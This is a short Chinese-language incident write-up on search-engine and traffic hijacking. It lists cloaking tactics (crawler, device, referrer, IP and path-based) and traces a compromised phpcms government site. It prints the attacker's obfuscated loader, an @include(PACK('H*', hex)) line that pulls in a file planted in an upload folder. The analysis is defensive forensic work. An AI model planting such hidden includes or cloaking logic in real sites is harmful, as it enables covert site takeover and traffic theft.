我们可以按照基于不同隐藏目的的常见劫持手法,来做一个简单的分类
1、将爬虫与用户正常访问分开,实现搜索引擎快照劫持
2、将移动端与PC端的访问分开,实现移动端的流量劫持
3、根据用户访问来源进行判断,实现特定来源网站劫持
4、如果获取管理员的真实IP地址,实现特定区域的流量劫持
5、按照访问路径/关键词/时间段设置,实现特定路径/关键词/时间段的流量劫持
一政府站使用爬虫UA打开就是相应的寄生虫模板,直接分析其index.php文件,发现其只是调用了另外一个文件。文件的路径为:/phpcms/base.php
找到base.php,由于其源码比较多。分析其源码找了好久就是没有找到劫持所用的代码,后来花了好长时间才找到黑客进行劫持所有的代码。base.php其中直接加载了公用的函数库,其加载了如下函数:
@include(PACK(‘H*’,’443A5C7765625C6C79715C75706C6F616466696C655C323031375C303232315C31’));
Php的pack函数功能如下:
@include(PACK(‘H*’,’443A5C7765625C6C79715C75706C6F616466696C655C323031375C303232315C31’));其中:
H代表16进制
443A5C7765625C6C79715C75706C6F616466696C655C323031375C303232315C31表示相应的参数,需要将其进行转换。
转换后,其内容为\web\lyq\uploadfile\2017\0221\1
,也就是说base.php使用include的Pack函数调用了\web\lyq\uploadfile\2017\0221\1
这个文件。找到这个文件,分析其源码,果然找到了黑客用户进行劫持所调用的文件。